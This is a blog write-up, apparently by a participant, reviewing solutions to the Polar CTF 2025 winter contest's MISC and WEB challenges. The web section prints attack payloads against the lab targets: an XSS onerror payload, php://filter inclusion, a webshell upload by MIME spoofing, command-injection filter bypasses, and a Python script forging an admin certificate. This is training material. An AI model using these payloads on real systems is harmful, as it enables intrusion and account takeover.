2025polar冬季赛复盘(WEB,MISC)

前言

之前一直在polar靶场刷题,周六参加了这个冬季挑战赛,很多题就是写着写着突然就没思路了,只剩下无奈。还是自己太菜了。下面就看着官方视频复现吧。

MISC

这次misc真是无语了,除了流量分析写的人多,剩下的就没几个人写出来,服了

猛攻!

附件是一个图片一个压缩包,然后没想到是图片隐写术解密,这个考点之前只见过一次,这次吸取教训吧,这里使用在线图片添加/解密隐藏信息(隐写术)工具 - 站长辅助工具 - 脚本之家在线工具

在线解密得到隐藏信息

密码是6DFUP。

解压得到一个流量包,这个非常简单,直接看那个上传得流量包

flag{che_li_cheng_gong}

这一题主要是卡到了图片隐写!!!!!!

先有圣人后有天

这一题我就要吐槽一下官方了,在官方解答视频中他使用的附件名字是蓝瘦香菇的秘密啊.png,而在比赛平台中下载使用的附件名只有一个png,这就是官方的问题了,这波是被信息差了...

解题思路就是由附件名字中的秘密,想到oursecret,然后就要找密码。在图片属性中2022/11/12 21:29.这个很明显就是密码。

22021112,提取出一个图片,随波逐流分析图片,检测到宽高被修改,修复后得到下图

flag{megumikatoisfairyinthepainting}

Chinesecode航行国际

附件是一个压缩包,到这个提示我就看不懂了了,只知道密码长度是4或者5,出题人是个村里人,但是我不理解为啥密码是特殊符号,

爆破得到密码?@@!

解压得到一个exe,发现无法运行,放进010看一下

这明显就是一个压缩包,看文件结构还是一个docx文件,在压缩包中看文件

就需要把这个附件单独拿出来了,官方给的解释是如果把docx文件改为zip的话,不属于正常架构应该有的文件会消失,所以这个要先预存一下,感谢官方大大又学了一个知识点。

然后修改压缩包为docx文件。

文档常见的考点就是修改字体颜色还有隐藏文字,所以把文件->选项->隐藏文字这个选项打开,以后再遇到考察隐藏文字就可以直接看到了。

上面那个就是符号,下面就是隐藏文字,上面的符号是国际信号旗

一一对应得到PQWS2,那个隐藏文字在文档中无法直接复制的,在字体中关闭隐藏文字的属性就可以复制了

一共是3段

PQWS2

ID4PR6C2LJNEAWSA7D4FUWSAIBAFUWS2ID4PR6HYLJNFUWSAIBAPQWS2

LJNEB6HYLJNFUWS2IBNFUQHY7D4FUWS2LI=,这一段末尾有=,这个在最后面

拼接还就是

PQWS2ID4PR6C2LJNEAWSA7D4FUWSAIBAFUWS2ID4PR6HYLJNFUWSAIBAPQWS2LJNEB6HYLJNFUWS2IBNFUQHY7D4FUWS2LI=

base32解码

|-- |||--- - ||-- --- ||||---- |---- ||----- -- |||----

这个摩斯密码解密出来不是flag。有题目名汉码国际,在随波逐流一键解码,汉码解码

flag{flagispwer}

凯撒5世的IDAT

这个一眼修宽高,修改后得到是信息IDAT块冗余数据,在010提取冗余的数据,其实这一题还是给它提示了,在010看十六进制数据

kqht{GED6F8GDE3JDM2HED6J3I}

凯撒5解密

flco{BZY6A8BYZ3EYH2CZY6E3D},应该还是附件问题,从比赛平台下载得附件没有把co变成ag这一提示,不过这个因该不影响

flag{BZY6A8BYZ3EYH2CZY6E3D}

文字魔法

附件首先先看这个魔法少女文字,这个之前见到过,

按照这个表一一的对应,得到dgopsuv,然后是一段音频,直接听没得到啥信息,然后就上工具,使用slienteye得到一张图片

图片内容就是全数字,然后爆破压缩包

解压得到一个压缩包还有一个音频,这个音频也没隐藏啥信息,在属性有个发布者:mofashaonv

这个是压缩包密码解压得到lz4文件,解压工具地址https://link.gitcode.com/i/d294b9afcb8ad84a01b2c2a5307b8e94?uuid_tt_dd=10_28699378410-1762942975426-641820&isLogin=1&from_id=142947593

然后得到一个压缩包,还需要密码这个密码就是dgopsuv,打开发现数据包很小,看了每个包都有数据,在第三个包中

base100解码最后两位

下面是16 32 58 可以想到base16 base32等,

然后把数据包的数据的最后两位依次按照上述顺序编码

7177MRTA====8oCaGc=D/0_iD

flag{7177MRTA====8oCaGc=D/0_iD}

藏在数字里的秘密

这一个加密文件使用vc挂载,根据提示是某个日期有关,尝试111111挂载后得到一个flag,但这个假的,平常遇见的加密容器就只有一个密码,但是这个是由两个,应该是hc 容器启用了**VeraCrypt 隐藏卷,**不同密码对应不同的加密头部与主密钥,分别解锁外层卷与隐藏卷,呈现两套独立文件系统。

这个日期就是文件修改的日期202511,就得到另一个加密卷的文件,有一个压缩包一个图片,一个文档一个程序,但是运行不了,一直显示

文档中修改字体颜色有很小的文字分别是SXRfaXNfYV9teX,然后看图片十六进制数据

在最后有N0ZXJpb3V,最后用ida打开exe,查看字符串

这三段拼一起,还是带等号的在最后面

SXRfaXNfYV9teXN0ZXJpb3VzX2NvZGU=,base64解码It_is_a_mysterious_code,解压得到一坐标,转图片。

flag{a9dc965fcc0447b}

Source of danger 1

在统计->端点中只有两个ip

尝试后是第二个flag{192.168.27.15}

Source of danger 2

http流随便追踪一个

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0

flag{Edge142.0.0.0}

Source of danger 3

直接在wireshark中导出文件中搜索这个图片,

flag{ChatGPT}

Source of danger 4

在tcp145号的ua中

Flag{2.32.5}

Source of danger 5

还是在最后一个包有个url

flag{http://192.168.27.15/source/ecshop/admin/privilege.php}

Virtual_currency 1

这个账号是huanglei,密码是19460214,比赛的时候怎么输密码都不对这题都没写,感觉被做局了😭

启动看目录有docker容器,这里我复现不出来,为啥我得到的ip跟官方的不一样

这里放一张图

交易的是Polar币

flag{Polar币}

Virtual_currency 2

这个在矿仔靶机中有隐藏的polarctf.exe,反编译后有个miner.pyc,再反编译,有黑客的地址

flag{9598f90b557fdf01558f9061c09195647f3ca9261264485319279e1da7a7ac48}

Virtual_currency 3

看docker日志

那个95开头的是黑客地址,那90开头的或者c3开头的经过尝试是

flag{9004ddca99ff4aa70ef6cd27d2f3b81103c25d33c1384549a4f3bb0fdc035ef4}

Virtual_currency 4

如上图,一共就三个ip,192.168.192.130,192.138.192.129,192.168.192.1。经过中转后最后应该就是客户地址

flag{192.168.192.129}

Virtual_currency 5

flag{polarCTF.exe}

web

来个弹窗2.0

这个就弄一个弹窗就行了,有waf但不多过滤了script,这里使用

<img src="1" οnerrοr=eval("alert('xss')")>

这是本萨姆

flag{0735987a1391de965a0717fc7c4f6a1a}

help

直接在源码里

复制代码
   <div class="flag-modal" id="flagModal">
        <div class="modal-content">
            <div class="modal-title">🎉 恭喜通关!找到零食啦!</div>
            <div class="hamster" style="margin-bottom: 10px;">🐹:太感谢你啦!我终于吃到零食了~</div>
            <div class="flag-text">ZmxhZ3t3b19haV9ndWFfeml9</div>
            <button class="close-modal" onclick="closeModal()">关闭</button>
        </div>

ZmxhZ3t3b19haV9ndWFfeml9,base64解码

flag{wo_ai_gua_zi}

cookie欺骗2.0

首先登入再抓包user=user1; auth=herf1。herf1是将user1进行rot13编码,将admin也rot13编码一下修改

User=admin,auth=nqzva

就得到flag

uii

首先看源码得到要输入的拿铁,然后代码审计,如果uii的值url解码后等于Yzz,输出flag,因此payload

?uii=%59%7A%7A

狗黑子的跳转

首先前端禁用is,把那个按钮改为不会动的。然后进入是一个文件上传,只允许上传图片,上传图片后发现访问不到文件,然后看url有ghzgouheizi.php尝试文件包含

?gou=php://filter/convert.base64-encode/resource=ghzgouheizi.php\

复制代码
<?php

if (!isset($_GET['gou'])) {
    header("Location: ?gou=ghzgouheizi.php");
    exit;
}


$gou = $_GET['gou'];


if (strpos($gou, '../') !== false) {
    die("不允许访问上级目录!");
}

$blockProtocols = ['php://input', 'data://', 'phar://'];
foreach ($blockProtocols as $proto) {
    if (strpos($gou, $proto) === 0) {
        die("禁止使用危险协议!");
    }
}

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
    $file = $_FILES['file'];
    
    $allowedTypes = ['image/jpeg', 'image/png', 'image/gif'];
    if (!in_array($file['type'], $allowedTypes)) {
        die("只允许上传图片文件!");
    }
    
    $ext = pathinfo($file['name'], PATHINFO_EXTENSION);
    if (empty($ext)) {
        die("文件缺少扩展名!");
    }
    
    $originalName = $file['name'];
    $base64Name = base64_encode($originalName);
    $md5Name = md5($base64Name);
    $filename = $md5Name . '.' . $ext;
    
    $uploadDir = './uploads/';
    if (!is_dir($uploadDir)) {
        mkdir($uploadDir, 0755, true);
    }
    
    $uploadPath = $uploadDir . $filename;
    if (move_uploaded_file($file['tmp_name'], $uploadPath)) {
        echo "文件上传成功!";
    } else {
        die("文件上传失败!");
    }
}

$currentFile = basename(__FILE__);
if ($gou !== $currentFile) {
    $includePath = './' . $gou;
    if (strpos($gou, 'php://filter') === 0) {
        include($gou);
    } elseif (is_file($includePath)) {
        include($includePath);
    } else {
        die("包含的文件不存在或不是有效文件!");
    }
    exit;
}
?>

<!DOCTYPE html>
<html>
<head>
    <title>狗黑子的小破站</title>
</head>
<body>
    <form method="post" enctype="multipart/form-data">
        <input type="file" name="file" accept="image/*">
        <button type="submit">上传</button>
    </form>
</body>
</html>

文件名先被base64编码然后md5加密,还是MIME 类型仅允许图片,那就抓包改类型就行了

这里上传2.php

蚁剑连接就行了

PolarShop

这个积分可以在前端修改,

修改后得到提示,下载附件得到购物清单但是这应该是个字典

扫目录有个admin.php,

提示有Squirtle这个账户,然后密码爆破得到是5qu1rtle

然后ai分析前端代码得按钮的 onclick 事件会触发一个 viewSecret() 函数。该函数通过 fetch 向服务器发送一个 POST 请求,请求参数为 action=view_secret。服务器会根据这个请求判断是否返回 flag。

抓包,改包user=Squirtle

aa

在源码有个i.php

复制代码
<?php
highlight_file(__FILE__);
 $rawX = 'NjU0Nw==';         
 $rawY = '123';         
 $rawZ = '17%2B8';        

  function decodeX($value) {
    return intval(base64_decode($value));
}

  function processY($value) {
    $reversed = strrev($value);  
    $md5Result = md5($reversed); 
    return substr($md5Result, 0, 8); 

}

  function decodeZ($value) {
    $decoded = urldecode($value);
   return eval("return $decoded;");

}

   $X = decodeX($rawX);
   $Y = processY($rawY);
   $Z = decodeZ($rawZ);

   $flag = $X + $Y + $Z;
   
?>

x是先解码base64NjU0Nw==是6547

Y是123反转,然后md5加密取前8位caf1a3df

Z是url解码时17+8=25

flag{6547caf1a3df25}

金币大挑战

这里抓包看信息,金币加1是

重置是

当金币加到20就无法加金币,这里在20的时候抓包重置金币,把resrt改为add_coin,比赛的时候就直接在前端改元素,就进去了,然后有个压缩包,纯数字爆破密码是1170,得到Squirtle1170

然后接下来就是脑洞了,根据题目的杰尼龟的文件路径得到有uploads目录,然后就是根据网页信息得知网站有文件上传漏洞,而且还提到例如:留下以自己名字命名的文件或者账号,传入自己的标志性图案。 慢慢的,这些也成为了其难以更改的习惯......

那个这个就可能是上传的webshell文件名Squirtle,尝试访问/uploads/Squirtle.php发现确实有这个文件,蚁剑连接

不抽象的狗黑子

这里在看图片发现有?gou=1,然后就可以尝试爆破这个数字

发现321非常可疑

得到提示hint: 进入gouhuizi.php看看

tip: 有时候没有思路,可以试试题目

然后到页面是一个输入框,然后试试题目不抽象的狗黑子,发现不是本题的题目,就是题目这两个字,发现外带,这就考察rce执行不回显了,

使用 ls /|tee 1.txt

有个flag.php的文件内容是一段base64编码,内容并不是flag

find / -name "flag*" | tee 8.txt 列出所有与flag有关的文件

最后一个flag.php不是那就是第一个,

cat /ect/flag |tee 2.txt得到flag

polarflag

一个登入界面,然后扫目录有个flag.txt,

复制代码
<?php
$original = "flag{polar_flag_in_here}";


$ascii_codes = [117, 115, 101, 114, 110, 97, 109, 101];
$new = "";
foreach ($ascii_codes as $code) {
    $new .= chr($code);
}


function replaceString($original, $new) {
    $temp = str_replace("flag{", "the_", $original);
    $temp = str_replace("polar_flag_in_here}", $new . "_is_polar", $temp);
    return $temp;
}

$result = replaceString($orginal, $ne1w);


echo "flag{polar_flag_in_here}";
?>

代码有点小错误ai直接修改就行了,修改后的运行结果

复制代码
 the_username_is_polar

用户名是polar,密码给字典了爆破

密码是6666,然后就是代码审计

复制代码
<?php
error_reporting(0);
session_start();
if(isset($_GET['logout'])){
    session_destroy();
    header('Location: index.php');
    exit();
}
// 初始化会话变量
if(!isset($_SESSION['collision_passed'])) {
    $_SESSION['collision_passed'] = false;
}
//想赢的人脸上是没有笑容的 
if(isset($_POST['a']) && isset($_POST['b'])) {
    if($_POST['a'] != $_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo "MD5 不错不错 \n";
        $_SESSION['collision_passed'] = true;
    } else {
        echo "MD5 你不行啊\n";
        $_SESSION['collision_passed'] = false;
    }
}


if(isset($_GET["polar"])){
    if($_SESSION['collision_passed']) {
        if(preg_match('/et|echo|cat|tac|base|sh|tar|more|less|tail|nl|fl|vi|head|env|\||;|\^|\'|\]|"|<|>|`|\/| |\\\\|\*/i',$_GET["polar"])){
           echo "gun gun !";
        } else {
            echo "polar polar !";
            system($_GET["polar"]);
        }
    } else {
        echo "回去吧,这块不要了\n";
    }
} else {
    show_source(__FILE__);
    echo '<br><br><a href="?logout=1" style="color: #4CAF50; text-decoration: none; font-weight: bold;">回家喽</a>';
}
?>

第一个是md5校验,可以找md5值是0e开头的也可以是使用数组绕过,md5函数不能处理数组,还返回0,那就是0=0,

a[]=1&b[]=2

然后就可以rce了过滤了/;`'空格等等。

这里cat被过滤了使用${b}绕过

l${b}s=ls

flag不在当前目录,然后/被过滤了使用&&一层一层看

最后发现polarflag

?polar=cd%09..%26%26cd%09..%26%26cd%09..%26%26ca{b}t%09polarf{b}lag

还有就是用${PWD:0:1}(截取PWD环境变量的第一个字符,就是/)代替,就不用一层一层找了

?polar=ca{b}t%09{PWD:0:1}polarf${b}lag

论坛

扫目录有forum.php,然后在源码中有个一个 script.js,

访问后发现ffff1@g.php,访问得到flag

证书

根据题目要求先注册,然后登入证书系统,登入后最下面有提示

聊天后发现没有啥信息,就扫目录有个flag.txt

查看后得到一堆字符串,用来跟客服聊条爆破,但是都是回显302

放包后发现这是一次性发过去了

不过在下面

w6pnYgS41IX+TlWs3or7vcDMBRqzudi9P5GmCh/bN8ytZAjeUax2HLQJE0KVFkfO

然后就要生成具有管理员权限的证书

复制代码
import json
import base64
import datetime
from cryptography.hazmat.primitives import serialization, hashes
from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.backends import default_backend

CUSTOM_BASE64_TABLE = "w6pnYgS41IX+TlWs3or7vcDMBRqzudi9P5GmCh/bN8ytZAjeUax2HLQJE0KVFkfO"
STANDARD_TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

def custom_base64_encode(data):
    if isinstance(data, str):
        data = data.encode('utf-8')
    standard_encoded = base64.b64encode(data).decode('ascii')
    translation_table = str.maketrans(STANDARD_TABLE, CUSTOM_BASE64_TABLE)
    return standard_encoded.translate(translation_table)

def generate_validation_tag(username, role):
    validation_string = f"{username}|{role}"
    return custom_base64_encode(validation_string)

def generate_key_pair():
    private_key = rsa.generate_private_key(
        public_exponent=65537,
        key_size=2048,
        backend=default_backend()
    )
    public_key = private_key.public_key()
    private_pem = private_key.private_bytes(
        encoding=serialization.Encoding.PEM,
        format=serialization.PrivateFormat.PKCS8,
        encryption_algorithm=serialization.NoEncryption()
    ).decode('utf-8')
    public_pem = public_key.public_bytes(
        encoding=serialization.Encoding.PEM,
        format=serialization.PublicFormat.SubjectPublicKeyInfo
    ).decode('utf-8')
    return private_pem, public_pem

def create_admin_certificate():
    username = "admin"
    private_key, public_key = generate_key_pair()
    cert_data = {
        'username': username,
        'email': 'admin@example.com',
        'phone': '10000000000',
        'role': 'admin',
        'created_at': datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S"),
        'expires_at': (datetime.datetime.now() + datetime.timedelta(days=365)).strftime("%Y-%m-%d %H:%M:%S"),
        'public_key': public_key,
        'validation_tag': generate_validation_tag(username, 'admin')
    }
    cert_string = json.dumps(cert_data, ensure_ascii=False, separators=(',', ':'))
    private_key_obj = serialization.load_pem_private_key(
        private_key.encode('utf-8'),
        password=None,
        backend=default_backend()
    )
    signature = private_key_obj.sign(
        cert_string.encode('utf-8'),
        padding.PKCS1v15(),
        hashes.SHA256()
    )
    forged_cert = {
        'version': '2.1',
        'data': cert_data,
        'signature': base64.b64encode(signature).decode('utf-8'),
        'algorithm': 'SHA256'
    }
    with open('admin_cert.cert', 'w', encoding='utf-8') as f:
        json.dump(forged_cert, f, indent=2, ensure_ascii=False)
    print("管理员证书已生成: admin_cert.cert")

if __name__ == "__main__":
    create_admin_certificate()

然后登入成功.然后就是rce,flag在根目录,cat被过滤了同tac

完结撒花🎇🎇🎇,这冬季赛告一段落。总的来说还是收获满满,期待来年春季赛再创新高👍👍

相关推荐
QFIUNE18 分钟前
CD-HIT 详解:序列去冗余、安装使用与聚类结果解析
linux·服务器·机器学习·数据挖掘·conda·聚类
marsh020641 分钟前
43 openclaw熔断与降级:保障系统在异常情况下的可用性
java·运维·网络·ai·编程·技术
摇滚侠43 分钟前
Docker 如何查询挂载的目录
运维·docker·容器
勇闯逆流河2 小时前
【Linux】linux进程控制(进程池的详解与实现)
linux·运维·服务器
zhangfeng11332 小时前
部署到服务器上 宝塔系统 使用宝塔在线编辑器 FTP 批量上传 Git 部署 打包上传 codebudyy 编程程序开发
服务器·git·编辑器
WJ.Polar3 小时前
Scapy基本应用
linux·运维·网络·python
lljss20203 小时前
1. NameServer 域名服务器---NS
linux·服务器·前端
数智顾问4 小时前
(123页PPT)华为流程管理体系精髓提炼(附下载方式)
运维·华为
网络工程小王5 小时前
【LCEL 链式调用详解】调用篇-2
java·服务器·前端·数据库·人工智能
xhbh6666 小时前
路由端口转发常见应用场景有哪些?有什么?
服务器·ip·端口转发·ip地址·流量转发·建站